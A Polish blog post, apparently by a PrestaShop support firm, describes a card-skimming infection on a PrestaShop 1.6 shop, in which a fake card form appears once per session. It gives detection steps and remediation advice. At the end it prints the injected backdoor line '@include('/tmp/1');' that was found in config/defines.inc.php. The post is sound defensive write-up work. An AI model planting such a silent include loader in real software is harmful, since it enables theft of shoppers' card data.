[Rozwiązanie] Nowy wirus na PrestaShop 1.6 – fałszywy formularz karty, trudny do wykrycia

person list PrestaShop Reading time: 6 min
[Rozwiązanie] Nowy wirus na PrestaShop 1.6 – fałszywy formularz karty, trudny do wykrycia
Nowy wirus na PrestaShop 1.6 – trudniejszy do wykrycia niż poprzedni W ostatnich dniach trafiliśmy na nowy przypadek złośliwego działania w sklepie na

Nowy wirus na PrestaShop 1.6 – trudniejszy do wykrycia niż poprzedni

W ostatnich dniach trafiliśmy na nowy przypadek złośliwego działania w sklepie na PrestaShop 1.6. To ważne: na ten moment potwierdzony jest jeden przypadek i dotyczy właśnie wersji 1.6 (nie oznacza to, że problem nie może pojawić się gdzie indziej – po prostu tego jeszcze nie potwierdziliśmy). To, co odróżnia ten atak od poprzedniego, to sposób wyświetlania i „maskowania” śladów. W praktyce klient może zobaczyć fałszywy ekran płatności, a Ty – jako administrator – możesz nie widzieć niczego podejrzanego w standardowej sesji. formularz z z wirusem prestashop

Co było wcześniej: wariant z „plikami udającymi zdjęcia”

Poprzednia fala ataków polegała m.in. na tworzeniu plików podszywających się pod grafiki (na pierwszy rzut oka wyglądały jak obrazki). Ten wariant jest już w dużej mierze „rozpykany” – umiemy go szybko namierzyć, odfiltrować i usuwać zagrożenie. Jeżeli nie kojarzysz tematu, tutaj masz opis pierwszej wersji ataku (z przykładami i mechaniką): Wirusowy fałszywy formularz karty kredytowej – opis i analiza.

Co jest teraz inne: nowy atak i „jednorazowy” fałszywy formularz

Najważniejsza różnica: pojawia się tylko raz na sesję

Nowy wariant jest wyraźnie sprytniejszy:
  • fałszywy formularz wyświetla się tylko raz na sesję,
  • po tym „pierwszym pokazie” znika i nie pojawia się ponownie ani klientowi, ani administratorowi w tej samej sesji,
  • żeby zobaczyć go ponownie, trzeba wejść przez tryb prywatny / incognito (czyli nowa, „czysta” sesja).
To utrudnia diagnostykę, bo wiele osób sprawdza problem „odświeżeniem strony” albo po prostu w tej samej przeglądarce.

Formularz wygląda inaczej niż poprzedni

W poprzednich przypadkach często mieliśmy do czynienia z dość „toporną” wstawką – na pierwszy rzut oka coś nie pasowało do szablonu lub płatności. Tutaj jest inaczej: sam ekran jest inny, bardziej „wiarygodny”, a do tego potrafi wyglądać jak element procesu płatności kartą – szczególnie w checkoutach, gdzie obok są inne metody typu Przelewy24, BLIK itp. W skrócie: jeśli kojarzysz poprzedni „fejk”, to ten potrafi zmylić nawet osoby, które już raz temat przerabiały.

Ważne: wirus nie ukrywa innych płatności (np. Przelewy24)

W tym nowym wariancie zwróć uwagę na jeszcze jedną rzecz: fałszywy formularz nie zastępuje i nie ukrywa innych metod płatności. Checkout wygląda „normalnie” – nadal widzisz np. Przelewy24, BLIK, raty itp., a podejrzany blok z kartą pojawia się obok / w ramach sekcji płatności. To właśnie zwiększa wiarygodność ataku, bo klient ma wrażenie, że to po prostu kolejna metoda płatności w sklepie, a nie coś „zamiast” płatności.

Jak rozpoznać, że masz ten problem u siebie

Objawy po stronie klienta

Zwróć uwagę na sygnały:
  • nagle pojawia się ekran sugerujący płatność kartą, gdy w sklepie standardowo tak to nie wygląda,
  • klient zgłasza „dziwny formularz”, „dziwną stronę płatności” albo „okienka z kartą”,
  • problem jest niereprodukowalny w zwykłym trybie, ale wraca w incognito,
  • klienci widzą coś, czego Ty nie potrafisz znaleźć w panelu ani w tej samej sesji.

Objawy po stronie testów

Najprostszy test (i często jedyny, który to ujawnia):
  1. Otwórz sklep w trybie prywatnym / incognito.
  2. Wejdź w koszyk i przejdź do płatności.
  3. Jeśli zobaczysz podejrzany formularz – zamknij kartę.
  4. Otwórz ponownie to samo w tej samej sesji incognito – może już nie wrócić.
  5. Otwórz nowe okno incognito – często pojawi się ponownie.
Jeśli ta logika się zgadza, to jest bardzo duża szansa, że mówimy o tym nowym wariancie.

Dlaczego to jest takie trudne do wykrycia

Pliki wyglądają na czyste

W tym konkretnym przypadku:
  • przeanalizowaliśmy pliki (core + theme + override + moduły) i na pierwszy rzut jest czysto,
  • nie widać oczywistych „wstawek” jak w poprzedniej wersji,
  • dlatego idziemy głębiej – najbardziej prawdopodobnym tropem jest baza danych (np. wstrzyknięty fragment w konfiguracji, treściach CMS, tłumaczeniach, ustawieniach modułów, hookach zapisanych w DB itp.).
To też tłumaczy, dlaczego klasyczne skanowanie plików może nic nie pokazać.

Co robimy teraz: walka trwa, mamy zabezpieczenie „na już”

Najważniejsze: walka trwa. Ponieważ nie udało się jeszcze jednoznacznie zlokalizować źródła pojawiania się fałszywego formularza, napisaliśmy program, który działa jak „tarcza”:
  • wykrywa i zakrywa fałszywy formularz,
  • minimalizuje ryzyko, zanim dojdziemy do pierwotnej przyczyny,
  • pozwala nam zbierać dalsze informacje diagnostyczne bez wystawiania klientów na zagrożenie.
To rozwiązanie tymczasowe (ale bardzo praktyczne), bo w takich atakach liczy się czas reakcji – a nie tylko „idealne” znalezienie winnego w pierwszej godzinie.

Co możesz zrobić już teraz, jeśli podejrzewasz infekcję

Kroki natychmiastowe

  • sprawdź checkout w incognito (kilka prób, różne przeglądarki),
  • jeśli używasz starszych integracji płatności, potraktuj temat jako priorytet (szczególnie obszar checkout i płatności),
  • zmień hasła do panelu, FTP/SSH, bazy danych, zaplecza hostingu,
  • przejrzyj podejrzane zachowania w ostatnich dniach (logowania, zmiany plików, nowe konta admin).

Co weryfikujemy w tle

  • dalsza analiza bazy danych pod kątem wstrzyknięć,
  • tropienie mechanizmu „one time per session”,
  • mapowanie warunków wyświetlania (user-agent, referrer, język, waluta, źródło ruchu).
Jeśli masz sklep na PrestaShop 1.6, potraktuj to jako sygnał ostrzegawczy: ta wersja jest już wiekowa, a atakujący często celują właśnie w starsze środowiska.

Rozwiązanie — co znaleźliśmy

W tym konkretnym przypadku źródłem problemu okazał się plik defines.inc.php w katalogu /config/. Na samym końcu komentarza licencyjnego, w linii 25, dopisana została instrukcja:

php
*/ @include('/tmp/1');

Ten jeden wiersz wystarczył, żeby załadować zewnętrzny, złośliwy kod z katalogu tymczasowego serwera (/tmp/1). Operator @ tłumił wszelkie błędy — jeśli plik nie istniał, nic się nie działo; jeśli istniał, wykonywał się dowolny payload bez żadnego śladu w logach PHP.

Dlaczego było to tak trudne do wykrycia? Sklep był mocno modyfikowany — zarówno na poziomie szablonu, override'ów, jak i samych plików core. Przy dużej liczbie zmian względem oryginalnej wersji PrestaShop 1.6, jedna dodatkowa linijka w pliku konfiguracyjnym łatwo ginie w szumie. Standardowe skanery porównujące pliki z oryginałem flagowały dziesiątki różnic, co skutecznie maskowało tę jedną, naprawdę groźną zmianę. Dodatkowo plik defines.inc.php to nie pierwsze miejsce, w które się zagląda szukając wstrzyknięć — uwaga zwykle kieruje się na szablony, moduły płatności czy pliki JS.

Wnioski: przy mocno zmodyfikowanych instalacjach nie wystarczy skanowanie automatyczne — kluczowe jest ręczne przeglądanie plików konfiguracyjnych i porównywanie ich z czystymi wersjami PrestaShop, ze szczególnym uwzględnieniem instrukcji include, require, eval i file_get_contents w miejscach, gdzie nie powinny się znajdować.

Get notified about new articles

Subscribe by e-mail or turn on browser notifications — we only send new blog posts, nothing else.

Bemerkungen

Zur Zeit kein Kommentar!

Hinterlasse ein Kommentar

Sonntag Montag Dienstag Mittwoch Donnerstag Freitag Samstag Januar Februar März April Kann Juni Juli August September Oktober November Dezember